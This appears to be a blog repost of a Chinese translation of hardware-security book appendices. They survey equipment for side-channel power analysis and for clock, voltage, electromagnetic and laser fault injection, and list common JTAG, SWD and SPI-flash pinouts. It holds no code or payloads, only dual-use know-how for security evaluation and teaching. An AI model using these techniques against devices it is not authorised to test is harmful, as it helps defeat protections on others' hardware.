在对设备进行功率分析时,我们通常关注的是非常小的变化或非常小的测量。例如,你可能正在测量的波形可能只有几毫伏的峰峰值波形,这与正常的 3.3 V 逻辑电平信号探测任务不同。理解这一点需要检查示波器的输入灵敏度规格。该规格通常是以每格为单位,这是回溯到示波器显示屏上有固定网格尺寸(格线)的时代。即使现在的格线是通过数字方式绘制的,那个规格仍然被沿用。

你需要弄清楚多少个格线构成完整的输入范围;通常你会发现垂直方向上有八个格线。因此,具有 1 mV/格最灵敏范围的示波器意味着 8 mV 的峰峰值。你通常会期望在最灵敏的端点找到 10 到 100 mV 的峰峰值全量程(或 ±5 到 ±50 mV)。当然,你也可能使用一个放大器(或主动探头)来提供更大的信号输入到示波器。

另一个进行功率分析测量时至关重要的特性是波形如何下载到计算机。虽然在单纯探索设备时,你不太关心这一点,但在功率分析期间,你将对成千上万甚至数百万(甚至数十亿)个功率轨迹进行统计分析。在这里,附带计算机的设备非常有用,因为像 PicoScope 6000(参见图 A-23)这样的设备具有 USB 3.0 接口,可快速下载大量波形数据。你甚至可以获得基于内置 PCIe 的捕获卡,如 Cobra Express CompuScope 或 AlazerTech 的产品,它们可以直接将数据流传输到计算机内存。

faa023

图 A-23:用于功率分析的 PicoScope 6000 USB 示波器。该型号有四个通道,350 MHz 带宽,最大采样率为 5 GS/s,以及 2 GS(千兆样本)的内存缓冲区。

如果你使用的是独立式示波器,你可能会使用网络(以太网)接口。大多数示波器都支持使用该接口通过一个名为VISA的系统下载波形数据。不幸的是,仅通过研究数据表,可能很难知道这种方法下的实际有效捕获率。高端型号通常工作良好,允许快速触发和下载,但低端设备可能不会总是进行优化,因为大多数示波器用户并不将数据下载到计算机,因此这不是一个高度优化的使用场景。

讨论功率分析测量的最后一个选项是ChipWhisperer捕获硬件,它最初是由 Colin 作为一个开源项目发起的。ChipWhisperer 与示波器略有不同,因为它支持捕获微弱信号,因为它的前端包含一个低噪声放大器(LNA)。其输入灵敏度范围大约从 10 mV 到 1 V 满刻度,而普通示波器的范围大约是从 50 mV 到 100 V。ChipWhisperer 捕获硬件还始终是交流耦合的,这意味着它无法测量恒定的直流电压。我们在进行功率分析时,通常不需要这种恒定的直流电压,因此通过在前端去除它,可以帮助简化捕获硬件。

ChipWhisperer 硬件有多种变体:主要有 ChipWhisperer-Nano($50)、ChipWhisperer-Lite(起价$250)和 ChipWhisperer-Pro($3,800)硬件。额外的功能更新包括 ChipWhisperer-Husky 架构更新,增加了更多功能到 ChipWhisperer-Lite。ChipWhisperer-Lite 是最初作为 Kickstarter 项目发布的原始板,它包括了目标设备,且与同一块板一起(参见图 A-24)。这块板的设计理念是,你可以将目标去除,之后再添加你自己的目标,但现在该板已经提供了连接器和外部目标,使得与外部目标的工作更加便捷,通常作为入门套件的一部分,如 NAE-SCAPACK-L1 或 NAE-SCAPACK-L2。

faa024

图 A-24:原始的 ChipWhisperer-Lite 包含捕获硬件(板的左三分之二)和目标设备(板的右三分之一)。

与普通示波器的另一个主要区别是 ChipWhisperer 捕获硬件使用了同步采样方法。图 A-25 展示了一个普通示波器的设置,它使用内部时间基准来决定何时进行采样。时间延迟在被测设备的时钟边缘与示波器采样点之间实际上是随机的,而且每次功率轨迹都会发生变化。通常我们可以通过以非常快的速率进行采样来避免这个问题;在旁道功率分析中,以 100 MS/s 到 5 GS/s 的速率采样是很常见的。ChipWhisperer 通过将采样点与目标设备时钟同步,避免了这个问题,这使得你可以以较慢的速度进行采样,但仍然能够进行高成功率的攻击。它确实需要访问设备时钟才能成功,但在某些情况下,我们是可以访问的。更安全的设备(如智能卡)将使用内部振荡器,需要时钟提取电路,但更基础的微控制器通常会使用外部晶体,我们可以附加上去。

这引出了一个问题,我们的攻击需要多快的采样率才能成功。如果我们使用类似 ChipWhisperer 捕获板的同步采样,则采样率可以低至设备时钟频率的 1 倍(即以设备时钟频率进行采样)。如果我们使用常规示波器,通常的经验法则是采样频率为设备时钟频率的 5 倍至 10 倍。同时,确保示波器和探头的带宽至少与采样率相当。

faa025

图 A-25:一个异步采样时钟(如常规示波器中使用的)会导致设备采样时钟的上升沿(A、B 和 C)与定义采样时间的下一个上升沿之间存在一些时间抖动。

我们应该添加免责声明,即所需的采样率会随着攻击的算法不同而有很大变化。例如,我们可以在采样率仅为目标设备的 0.0001 倍时攻击一些较慢的算法,因为该算法本身非常慢,以至于泄露的数据并不需要每个时钟周期的信息。同样,硬件加密实现可能仅因意外故障在时钟周期的一个小部分泄露信息,这意味着 5 倍到 10 倍的更高采样率可能不足以捕获此故障,即使是同步采样仍然需要大量过采样才能捕获故障。

模拟波形触发:$3,800+

回到触发的话题,模拟波形的触发也非常有用。这意味着不仅是对上升沿或下降沿进行触发,而是匹配模拟波形中的确切模式。它通常在通道分析或故障注入中使用,用来在某些敏感操作之前触发。

一些示波器提供这个功能,尽管它比较罕见,通常只在高端示波器中可用,因此你可能需要使用外部硬件来实现这个目标。Riscure icWaves 具有多种功能,专为执行此触发功能而设计。

ChipWhisperer-Pro 还内置了一个简化版本的模式匹配功能,它允许匹配比 icWaves 解决方案更少的采样点。ChipWhisperer-Pro 也可以作为功率测量平台,因此它可以用于执行多个任务。

Riscure icWaves 和 ChipWhisperer-Pro 都使用绝对差值和(SAD)来执行匹配逻辑。它们将波形的最后 N 个点存储在缓冲区中,并将这 N 个点与某个期望的匹配模式进行比较。如果这些点足够接近(差异足够小),则会生成触发信号。

测量磁场:$25 到 $10,000

另一个你会发现有用的任务是测量设备发出的磁场强度,这基本上意味着需要一个H-Field(磁场)探针。探针的实际设计非常基础——一个简单的环形天线就能拾取磁场。天线通常被屏蔽,以尽可能阻挡电场E-field)。图 A-26 展示了几种 H-Field 探针的示例。

faa026

图 A-26:来自不同制造商的 H-Field 探针

购买探针时,你有几个选项需要考虑:

封装尺寸探针

在这里,我们将封装尺寸探针定义为大致能够探测单个设备,如集成电路(IC)或组件的探针。这些较大的磁场探针可以作为平面设计购买,该设计使用 PCB 来降低成本。这些的例子包括 Beehive Electronics 101A 探针组、TekBox TBPS01 和 ChipWhisperer NAE-HPROBE-15。ChipWhisperer NAE-HPROBE-15 还发布了设计信息,要求制作四层 PCB,但如果需要针对特定应用调整设计,它允许你进行修改。

平面设计的缺点是探针必须平放在芯片上,而这在物理上可能无法实现。也有各种其他方向的设计,这些设计较为著名的是 Langer EMV RF1 套件,其中包含几种对不同磁场方向敏感的探针。

由于 Langer EMV RF1 套件的普及,现在有几种低成本的克隆产品可供选择。Rigol NFP-3 套件包含与 Langer EMV 套件相似的探针。一个更低成本的选择是由 Cybertek 制造的 EM5030 探针组。Cybertek 探针的绝缘层稍厚,这会对灵敏度产生负面影响,因为你无法将实际的探针本身物理上靠近磁场源。

还有一些稍小的探针可供选择,来自 Langer EMV 及其他厂商。例如,Morita Tech MT-545 探针,其线圈直径为 1.6 毫米。

前置放大器

  1. 对于所有这些套件(包括 Langer EMV 套件),你需要一个前置放大器来为示波器输入提供合理的信号电平。供应商提供与其套件匹配的放大器,尽管放大器本身的设计与供应商关系不大。各种放大器设计可能在噪声性能上有所不同,但设计一个低噪声放大器并不是特别困难的任务。除了增益(通常应期望为 20 至 30 dB)外,噪声系数(NF)也应考虑。NF 衡量的是输入与输出之间信噪比(SNR)的退化,因此较高的 NF 意味着放大器本身会向输出添加额外的噪声。例如,Langer EMV PA 203 SMA 放大器的增益为 20 dB,噪声系数为 4.5 dB。

如果你将放大器的输出连接到示波器,你可能希望选择一个带宽匹配的放大器。例如,Langer EMV PA 203 SMA 放大器指定的可用频率范围为 100 kHz 到 3 GHz。如果你将其连接到 200 MHz 带宽的示波器,3 GHz 放大器通常会比带宽较小的放大器噪声性能差。

提供射频产品的公司之一是 Mini-Circuits,它销售完整的 LNA 设备,如 Mini-Circuits ZFL-1000LN+(100 kHz 到 1 GHz 带宽,20 dB 增益,2.9 dB 噪声系数),价格约为$100。你可以使用 ZFL-500LN+(100 kHz 到 500 MHz 带宽,24 dB 增益,2.9 dB 噪声系数)略微减少带宽,它具有稍高的增益。对于低成本 LNA 的极致选择,可以使用 BGA2801 作为廉价 LNA 的基础(100 kHz 到 2.2 GHz,22 dB 增益,4.3 dB 噪声系数)。基于 BGA2801 的 LNA 设计示例可在 ChipWhisperer 项目中找到(完整放大器的噪声系数将比仅有原始 IC 的噪声系数更差)。

芯片级及更小探头

  1. 虽然之前的探头大多用于测量整个设备,但我们所说的芯片级探头是指可以用于探测 IC 表面更小部分的探头。有些探头可以使用类似的技术制造,只不过使用更小的线圈。这可以用来制造 300µm(0.3mm)大小的线圈,例如 Langer EMV RF3 迷你套件。

更小的探头也有可能,比如 Langer EMV MFA 01 套件,包含了最小可达 100µm 的探头。使用如此小的探头时要注意:探头必须非常靠近测量源,在这种情况下就是 IC 芯片。你几乎肯定需要去除或部分去除被测 IC 的封装,才能使用这些非常小的探针。

一体化

  1. 更小的探针尺寸也使得考虑将放大器集成到更靠近探头尖端的位置变得有意义。之前提到的 Langer EMV 套件在 100µm 到 250µm 范围内包含了集成放大器,但也有稍大尺寸的完整解决方案,既包含探头也包含放大器。Riscure 销售的 EM 探头,放大器与探头紧密集成,带宽为 1 GHz。它专门设计用于芯片表面上的 XY 扫描。

时钟故障注入:$100 到$30,000

时钟故障注入需要生成复杂的时钟波形。图 A-27 展示了一个时钟故障注入波形示例。以合理成本实现这一目标最直接的方式是使用任何基于 FPGA 的 ChipWhisperer 平台中的时钟故障注入功能,如 ChipWhisperer-Lite 或 ChipWhisperer-Pro(ChipWhisperer-Nano 没有 FPGA,因此无法进行时钟故障注入)。

faa027

图 A-27:时钟故障波形示例,7.37 MHz 时钟插入窄脉冲

Riscure VC Glitcher 和 Riscure Spider 也可以执行时钟故障注入,并且具有更复杂的电路来以 2ns 的分辨率生成故障波形。对于低成本或 DIY 选项,你将主要局限于自己在 FPGA 板上实现。实现过程超出了本书的范围,但低成本的 FPGA 板(例如 Digilent Arty)是一个很好的起点。虽然你可能会考虑使用任意波形发生器(AWG),但用 AWG 生成非常快速的数字波形可能会比较困难。

电压故障注入:$25,000 至$30,000

电压故障注入通常需要在短时间内在两个或多个电压源之间切换。与时钟故障注入相比,构建自己的电压故障注入系统更为容易。典型的 DIY 解决方案是使用多路复用器集成电路(如 MAX4619),在每个输入端提供两种不同的电压。你可以在常规电压和故障电压之间切换来插入故障。请参见第六章,或查看 Chris Gerlinsky 的演示文稿《破解 NXP LPC 系列微控制器的代码读取保护》(REcon 布鲁塞尔,2017 年)。

目前,ChipWhisperer 硬件平台使用简单的钳位机制来生成电压故障波形(参见图 A-28)。ChipWhisperer-Lite/Pro 最佳支持此机制,但它也可以与 ChipWhisperer-Nano 一起使用,只是功能更加有限。

faa028

图 A-28:VCC 故障波形示例

对于更完整的解决方案,Riscure VC Glitcher 和 Riscure Spider 可以执行电压故障生成(以及时钟故障生成),并且与 ChipWhisperer 平台相比,它们具有更复杂的触发电路。这些设备允许生成灵活的模拟波形,而与 ChipWhisperer 的限界方法相比,其能力更强。

电压故障注入也可以通过快速函数发生器来实现。这些发生器以合理的价格可得,如 Siglent SDG6022X($1,500)。你需要一个放大器来驱动任何负载,可以使用高电流运算放大器作为 DIY 解决方案,或者使用 Riscure(故障放大器或故障放大器 2)或 NewAE Technology(ChipJabber)的产品。参见 Claudio Bozzato、Riccardo Focardi 和 Francesco Palmarini 的《塑造故障:优化电压故障注入攻击》,了解在实际设备上使用 DIY 解决方案的示例。因为你可能已经有了函数发生器,构建一个 DIY 放大器可能是你现有实验室的低成本解决方案。

电磁故障注入:$100 到$50,000

电磁故障注入(EMFI)是一种强大的故障注入方法。EMFI 大致需要将高电压切换到一个小型电感器上,从而生成强大的磁场。除了 DIY 开源解决方案,目前市场上还有几种专门的解决方案。

对于专用设备,Riscure 的 EM-FI 瞬态探头工具是最初的且使用最广泛的 EMFI 工具。该设备配有各种尺寸和极性的注入探头。NewAE Technology 推出了 ChipSHOUTER EMFI 工具,它同样配有多种探头,并附带若干样本目标板。Riscure EMFI 工具和 ChipSHOUTER 都设计用于相对快速的重复操作,例如在系统中插入多个故障时可能需要的操作。

另一个专用工具是 SGZ 21 脉冲发生器(可在 E1 套件中找到),以及 Langer EMV 的 S2 套件 H 场注入探头。该工具是为免疫测试而设计的,而非安全分析,因此目前关于其在故障注入测试中的使用细节较少。

Morita Tech 还制造了 E 场和 H 场注入探头(部件号 MT-676,分别有 MT-676E 和 MT-676H 版本,提供 E 场和 H 场注入)。这些产品在日本制造,并且在日本国内似乎更容易订购。

除了专门为 EMFI 提供的解决方案外,Avtech Electrosystems, Ltd. 还提供了各种脉冲发生器,可用于 EMFI。它们要求你将输出适配到特定的 EMFI 线圈上,这需要验证脉冲发生器在没有任何修改的情况下能够驱动感性负载。

也有低成本和 DIY 解决方案。Red Balloon Security 的一个名为BadFET的项目可以使用,但它有一个明显的缺点,就是采用了一种相对危险(但更容易构建)的方法,将高压切换到暴露的注入线圈上。关于与 EMFI 工具相关的架构,请参见第五章。

光学故障注入:$1,000 到 $250,000

光学故障注入通常指使用激光将特定光点定位到 IC 芯片上。一个更低成本的选项是使用闪光管和镜头,正如 Oscar M. Guillen、Michael Gruber 和 Fabrizio De Santis 在《低成本局部半侵入式光学故障注入攻击设置》中所描述的那样。

对于精确的光学故障注入,需要一个光源(激光)、一个XY 定位台,以及一个激光优化的显微镜系统。对于光源,背面攻击需要红外(1064nm)激光,前面攻击则需要更短波长(880nm,532nm 或更短)的激光。

几个附加功能可以让你的工作更加轻松。额外的 Z 平台可以帮助自动聚焦激光束,红外线敏感相机可以让你通过 PC 来定位激光束。同样,红外线光源将允许你透过硅看到金属层,这有助于背面攻击时的定位。最后,一些认证要求必须拥有双激光系统,能够在一次故障注入过程中在芯片的两个不同区域上发射激光脉冲。Riscure 提供了包括该功能和上述附加功能的激光站 2。Alphanov 激光解决方案还提供激光故障注入硬件,可以集成到 Riscure 激光系统中,或通过 eShard 的故障注入脚本在 esDynamic 中驱动。

定位探针:$100 到$50,000

对于 H-场探针、EMFI 和激光系统,可能需要对目标进行精确的定位。通常是使用 XY 或 XYZ 台面来完成这一任务,这些台面是为了显微镜用途而销售的。像 Thorlabs 这样的供应商提供多种 XY(Z)台面,包括手动和电子台面。Riscure 提供了 EM 探针站和激光站,这两者都包含平台。其他 XY(Z)台面供应商可以通过搜索“显微镜定位平台”轻松找到。

为了与 ChipSHOUTER 匹配,NewAE 提供了 ChipShover XYZ 台面和控制器。它基于开源固件,除了与 ChipSHOUTER 一起使用,还可以用于定位 EM 探针或其他工具。

还可以找到一些低成本的手动定位平台,例如 AmScope(GT200 平台)或某些海外供应公司(AliExpress)出售的产品。

一个低成本的 XYZ 台面选项是使用 3D 打印机平台。3D 打印机通常具有足够的精度,能够完成你需要用到的 H-场探针(电磁分析)和 EMFI(注入)等大多数工作。例如,许多 3D 打印机具有 1 到 20µm 的步进分辨率,这使得在芯片表面或目标上能够进行较大的步进。例如,在一个 4×4mm 的芯片上以 10µm 步进分辨率进行步进意味着 3D 打印机在 X 和 Y 方向上各有 400 个步进。前面提到的 ChipShover 工具基于 3D 打印机固件,提供了一个开源 API,你可以与大多数标准打印机一起使用,这些打印机简单地处理G-code,例如。G-code 是专门为 3D 打印机设计的语言。

需要关注的重要规格是台面的步进大小分辨率,以及重复误差,通常以µm 为单位表示。前者指的是台面能够做出的最小步进,后者指的是从任何点 A 到任何点 B 移动时的最大预期误差。你可以想象这个误差对于故障的可重复性是非常重要的。

目标设备:$10 到$10,000

在你的研究与开发阶段,你将需要目标设备。虽然你可能有一个特定的目标设备作为攻击对象,但从你完全控制的设备开始会更为合理。最显而易见的目标是该设备的开发板。例如,如果你对汽车设备感兴趣,例如 PowerPC MPC5777C(某些 ECU 中使用的芯片),你可以尝试对实际的 ECU 进行探索,但这将会很困难,因为你可能对原理图、运行程序等信息一无所知。相反,找到该部件的开发板,并首先在开发板上进行攻击会更好。一旦你探索了该设备本身,就能更好地理解其在特定板上的工作原理。这一建议即使适用于你自己评估的产品,因为你的产品可能仍然会让评估过程变得比在独立板上复杂。

在低端,你可以使用类似 Arduino 的设备来运行代码,然后修改它进行功耗分析和故障注入。专门为此分析工作设计的目标确实存在。最早的商业可用目标之一是由 Akashi Satoh 开始的 SASEBO 项目,该项目现已转变为 SAKURA 项目。在查找 SAKURA 板时,不要将其与 Renesas Electronics 后期发布的同名 Sakura 板混淆。

由于各种许可变更,SAKURA 板有时可能会很难找到;请参见 SAKURA 首页了解更多信息。它们目前可从 TROCHE 获取。图 A-29 显示了一个 SAKURA-G 板。大多数 SAKURA 板的目标是 FPGA,这使你能够在可编程硬件中实现算法。SAKURA 板提供了多种 FPGA 大小,包括一些用于复杂算法的非常大的 FPGA。

faa029

图 A-29:SAKURA-G 是一系列有用的基于 FPGA 的目标系统的一部分。

最常见的目标板是 ChipWhisperer 项目的一部分。这些目标大多数都可以通过 CW308 UFO 板提供,CW308 UFO 板是一个基础板,可以安装许多目标。图 A-30 显示了一个带有目标的示例基础板。

faa030

图 A-30:ChipWhisperer UFO (CW308) 提供了多种开源顶级模块,可以用来测试各种设备和算法。

该目标系统允许更换各种测试处理器。可用的测试设备包括 8 位 XMEGA、32 位 Arm、FPGA、PowerPC 等。除此之外,目标部分的原理图和完整设计文件可以在 github.com/newaetech/chipwhisperer-target-cw308t/ 获取,如果你需要修改设计或想要构建自己的目标板。

除了用于 FPGA 目标的 SAKURA 板,ChipWhisperer 项目还拥有 CW305 FPGA 目标,该目标搭载 Artix 7A100 FPGA,可以在其上实现加密算法(见图 A-31)。

Riscure 提供各种智能卡以及一个名为Piñata的嵌入式目标,并配有其工具。这些目标允许运行更复杂的算法和测试,适用于 Riscure 工具链,包括多种故障和激光故障注入。

faa031

图 A-31:ChipWhisperer CW305 拥有 Artix A35/A100 FPGA 目标,允许您在硬件中实现算法。

第十六章:B

你的所有基地都属于我们:常见的引脚排列

存在太多的头部和接口,无法在此全部涵盖,但当涉及到与嵌入式系统的接口时,我们通常会选择一些常见的引脚排列。我们已经将它们汇总在这里,供您参考。

SPI 闪存引脚排列

SPI 闪存通常有 8 引脚和 16 引脚版本。图 B-1 显示了一个八引脚SOIC(300mil 宽度,600mil 宽度)和八引脚WSON。我们在第三章中详细介绍了这些封装的细节。请注意,图中的引脚名中的表示低电平*信号。

fbb001

图 B-1:八引脚 SPI 闪存引脚排列

图 B-2 显示了一个 16 引脚的 SOIC(300mil 宽度,600mil 宽度)。

fbb002

图 B-2:16 引脚 SPI 闪存引脚排列

尽管引脚排列偶尔有所不同,大多数设备使用这两种。

0.1 英寸头部

0.1 英寸的间距是您可能熟悉的“典型”间距。以下头部通常具有 0.1 英寸的间距。

20 引脚 Arm JTAG

Arm JTAG 使用一个大约 20 引脚的头部(见图 B-3)。这种头部在实际产品中很少见,但开发板通常使用它。您也通常会在 JTAG 调试适配器上找到这种引脚排列,如 SEGGER J-Link 和 OpenOCD 设备。

fbb003

图 B-3:20 引脚 Arm JTAG 头部

14 引脚 PowerPC JTAG

PowerPC 设备,如汽车 ECU 中的 NXP SPCx 系列,通常使用 14 引脚 PowerPC JTAG 头部(见图 B-4)。

fbb004

图 B-4:14 引脚 PowerPC JTAG 头部

这里的一些引脚并未被标准 JTAG 使用:VDDE7是目标参考电压,RDY表示 Nexus 调试接口的就绪状态,JCOMP用于启用 TAP 控制器。根据具体的芯片,有些引脚未被使用;例如,在 MPC55xx 和 MPC56xx 板上,第 8 引脚是无连接(NC)。

0.05 英寸头部

0.05 英寸的头部比标准的 0.1 英寸头部更精细,通常是表面贴装类型。

Arm Cortex JTAG/SWD

许多嵌入式设备使用图 B-5 中所示的调试连接器。

fbb005

图 B-5:Arm Cortex JTAG 头部

该连接器可以提供 JTAG 或串行线调试(SWD)模式。在这种封装形式中,SWD 更为常见。

Ember 数据包跟踪端口连接器

Ember 数据包跟踪端口连接器,如图 B-6 所示,不常见,但您可能会在基于 Ember 设备(现在已成为 Silicon Lab 设备)的设备上找到它。

fbb006

图 B-6:Ember 数据包跟踪端口连接器

例如,图 3-28 中的通信板具有使用这种引脚排列的调试头部。我们部分展示这个引脚排列,以显示设备之间的微小差异,即使它们并不试图欺骗您!

posted @ 2025-12-01 09:43  绝不原创的飞龙  阅读(24)  评论(0)    收藏  举报